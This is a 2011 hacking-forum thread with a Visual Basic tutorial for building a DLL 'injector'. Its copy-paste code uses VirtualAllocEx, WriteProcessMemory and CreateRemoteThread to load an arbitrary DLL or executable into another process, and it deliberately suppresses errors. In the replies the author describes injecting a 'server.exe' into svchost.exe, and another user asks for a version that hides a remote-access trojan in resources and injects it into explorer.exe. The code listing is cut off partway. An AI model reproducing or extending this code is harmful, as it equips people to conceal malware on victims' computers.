How To Make An Advanced Injector

JuiceKing · 09-10-2011, 02:57 PM

This is a easy tutorial on how to make an Advanced Injector!

Open Microsoft Visual Basics 2008.

So do a 5 Buttons.
What we gonna do?
We are going to do an Advanced Injector.

What Items we will have?

* 5 Buttons.
* 1 Label.
* 1 TextBox.
* 1 ListBox.
* 1 Timer.
* 1 OpenFileDialog.

Name Button1 "Clear Selected"
Name Button2 "Clear Process"
Name Button3 "Clear List"
Name Button4 "Browse"
Name Button5 "Inject"

Do a Label.

Do a TextBox.

Do a ListBox and name ListBox1 to "Dlls"

Do a OpenFileDialog and go to Properties and MultiSelect do it True.

Add a Timer.

Click on Form1 and delete the words and copy and paste this:

Code:
Public Class Form1 
    Private TargetProcessHandle As Integer 
    Private pfnStartAddr As Integer 
    Private pszLibFileRemote As String 
    Private TargetBufferSize As Integer 

    Public Const PROCESS_VM_READ = &H10 
    Public Const TH32CS_SNAPPROCESS = &H2 
    Public Const MEM_COMMIT = 4096 
    Public Const PAGE_READWRITE = 4 
    Public Const PROCESS_CREATE_THREAD = (&H2) 
    Public Const PROCESS_VM_OPERATION = (&H8) 
    Public Const PROCESS_VM_WRITE = (&H20) 
    Dim DLLFileName As String 
    Public Declare Function ReadProcessMemory Lib "kernel32" ( _ 
    ByVal hProcess As Integer, _ 
    ByVal lpBaseAddress As Integer, _ 
    ByVal lpBuffer As String, _ 
    ByVal nSize As Integer, _ 
    ByRef lpNumberOfBytesWritten As Integer) As Integer 

    Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" ( _ 
    ByVal lpLibFileName As String) As Integer 

    Public Declare Function VirtualAllocEx Lib "kernel32" ( _ 
    ByVal hProcess As Integer, _ 
    ByVal lpAddress As Integer, _ 
    ByVal dwSize As Integer, _ 
    ByVal flAllocationType As Integer, _ 
    ByVal flProtect As Integer) As Integer 

    Public Declare Function WriteProcessMemory Lib "kernel32" ( _ 
    ByVal hProcess As Integer, _ 
    ByVal lpBaseAddress As Integer, _ 
    ByVal lpBuffer As String, _ 
    ByVal nSize As Integer, _ 
    ByRef lpNumberOfBytesWritten As Integer) As Integer 

    Public Declare Function GetProcAddress Lib "kernel32" ( _ 
    ByVal hModule As Integer, ByVal lpProcName As String) As Integer 

    Private Declare Function GetModuleHandle Lib "Kernel32" Alias "GetModuleHandleA" ( _ 
    ByVal lpModuleName As String) As Integer 

    Public Declare Function CreateRemoteThread Lib "kernel32" ( _ 
    ByVal hProcess As Integer, _ 
    ByVal lpThreadAttributes As Integer, _ 
    ByVal dwStackSize As Integer, _ 
    ByVal lpStartAddress As Integer, _ 
    ByVal lpParameter As Integer, _ 
    ByVal dwCreationFlags As Integer, _ 
    ByRef lpThreadId As Integer) As Integer 

    Public Declare Function OpenProcess Lib "kernel32" ( _ 
    ByVal dwDesiredAccess As Integer, _ 
    ByVal bInheritHandle As Integer, _ 
    ByVal dwProcessId As Integer) As Integer 

    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _ 
    ByVal lpClassName As String, _ 
    ByVal lpWindowName As String) As Integer 

    Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandleA" ( _ 
    ByVal hObject As Integer) As Integer 
    Dim ExeName As String = IO.Path.GetFileNameWithoutExtension(Application.ExecutablePath) 
    Private Sub Inject() 
        On Error GoTo 1 ' If error occurs, app will close without any error messages 
        Timer1.Stop() 
        Dim TargetProcess As Process() = Process.GetProcessesByName(TextBox1.Text) 
        TargetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE, False, TargetProcess(0).Id) 
        pszLibFileRemote = OpenFileDialog1.FileName 
        pfnStartAddr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA") 
        TargetBufferSize = 1 + Len(pszLibFileRemote) 
        Dim Rtn As Integer 
        Dim LoadLibParamAdr As Integer 
        LoadLibParamAdr = VirtualAllocEx(TargetProcessHandle, 0, TargetBufferSize, MEM_COMMIT, PAGE_READWRITE) 
        Rtn = WriteProcessMemory(TargetProcessHandle, LoadLibParamAdr, pszLibFileRemote, TargetBufferSize, 0) 
        CreateRemoteThread(TargetProcessHandle, 0, 0, pfnStartAddr, LoadLibParamAdr, 0, 0) 
        CloseHandle(TargetProcessHandle) 
1:      Me.Show() 
    End Sub 

    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk 

    End Sub 

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
        Button1.Text = "Clear Selected" 
        Label1.Text = "Waiting for Process Start..." 
        Timer1.Interval = 50 
        Timer1.Start() 

    End Sub 

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 
        If IO.File.Exists(OpenFileDialog1.FileName) Then 
            Dim TargetProcess As Process() = Process.GetProcessesByName(TextBox1.Text) 
            If TargetProcess.Length = 0 Then 
                Me.Label1.Text = ("Waiting for " + TextBox1.Text + ".exe...") 
            Else 
                Timer1.Stop() 
                Me.Label1.Text = "Successfully Injected!" 
                Call Inject() 



            End If 
        End If 


    End Sub 


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 
        For i As Integer = (Dlls.SelectedItems.Count - 1) To 0 Step -1 
            Dlls.Items.Remove(Dlls.SelectedItems(i)) 
        Next 

    End Sub 

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 
        TextBox1.Clear() 

    End Sub 

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click 
        Dlls.Items.Clear() 

    End Sub 

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click 
        OpenFileDialog1.Filter = "DLL (*.dll) |*.dll|(*.*) |*.*" 
        OpenFileDialog1.ShowDialog() 
        Dim FileName As String 
        FileName = OpenFileDialog1.FileName.Substring(OpenFileDialog1.FileName.LastIndexOf("\")) 
        Dim DllFileName As String = FileName.Replace("\", "") 
        Me.Dlls.Items.Add(DllFileName) 

    End Sub 
    Private Function GetAsyncKeyState(ByVal vKey As Integer) As Short 

        If GetAsyncKeyState(Keys.F12) Then 
            If IO.File.Exists(OpenFileDialog1.FileName) Then 
                Dim TargetProcess As Process() = Process.GetProcessesByName(TextBox1.Text) 
                If TargetProcess.Length = 0 Then 

                    Me.Label1.Text = ("Waiting for " + TextBox1.Text + ".exe Injection(F12)...") 
                Else 
                    Timer1.Stop() 
                    Me.Label1.Text = "Successfully Injected!" 
                    Call Inject() 
                    ' If CheckBox1.Checked = True Then 
                    'Me.Close() 
                    'Else

Credits go to: genufuk

Rainbow Dash · 09-27-2011, 08:25 AM

I must ask what does this do exactly? Infect them with what?

JuiceKing · 09-27-2011, 02:17 PM

(09-27-2011, 08:25 AM)Rainbow Dash Wrote: I must ask what does this do exactly? Infect them with what?

It's inject into process.When u click on "browse" button find your "server.exe" and inject it into process "svchost.exe".Just example.

Rainbow Dash · 09-27-2011, 07:03 PM

Very interesting my friend.... I must ask you, could you possibly release a source code that just when you click the button, it injects a file hidden in the program's resources (Maybe a RAT server) when you hit a button? This would be done by instead looking for a file to inject, have it go to a resource name and inject that resource (The rat .exe) into explorer.exe. Make something basically that injects a file into explorer.exe when you press a button, i would give +rep if you could make this program for me. Thanks in advance, if you can get the job done.

In the meantime i'll be fidgeting around with the source code and try to get this done myself.

JuiceKing · 09-28-2011, 05:11 PM

(09-27-2011, 07:03 PM)Rainbow Dash Wrote: Very interesting my friend.... I must ask you, could you possibly release a source code that just when you click the button, it injects a file hidden in the program's resources (Maybe a RAT server) when you hit a button? This would be done by instead looking for a file to inject, have it go to a resource name and inject that resource (The rat .exe) into explorer.exe. Make something basically that injects a file into explorer.exe when you press a button, i would give +rep if you could make this program for me. Thanks in advance, if you can get the job done.
In the meantime i'll be fidgeting around with the source code and try to get this done myself.

Do u looking for this?
[Image: opy42s.jpg]

Click on browse choose .exe or .dll file and click on inject.
My tut made is to made this program.
I hope that u looking for that.

How To Make An Advanced Injector
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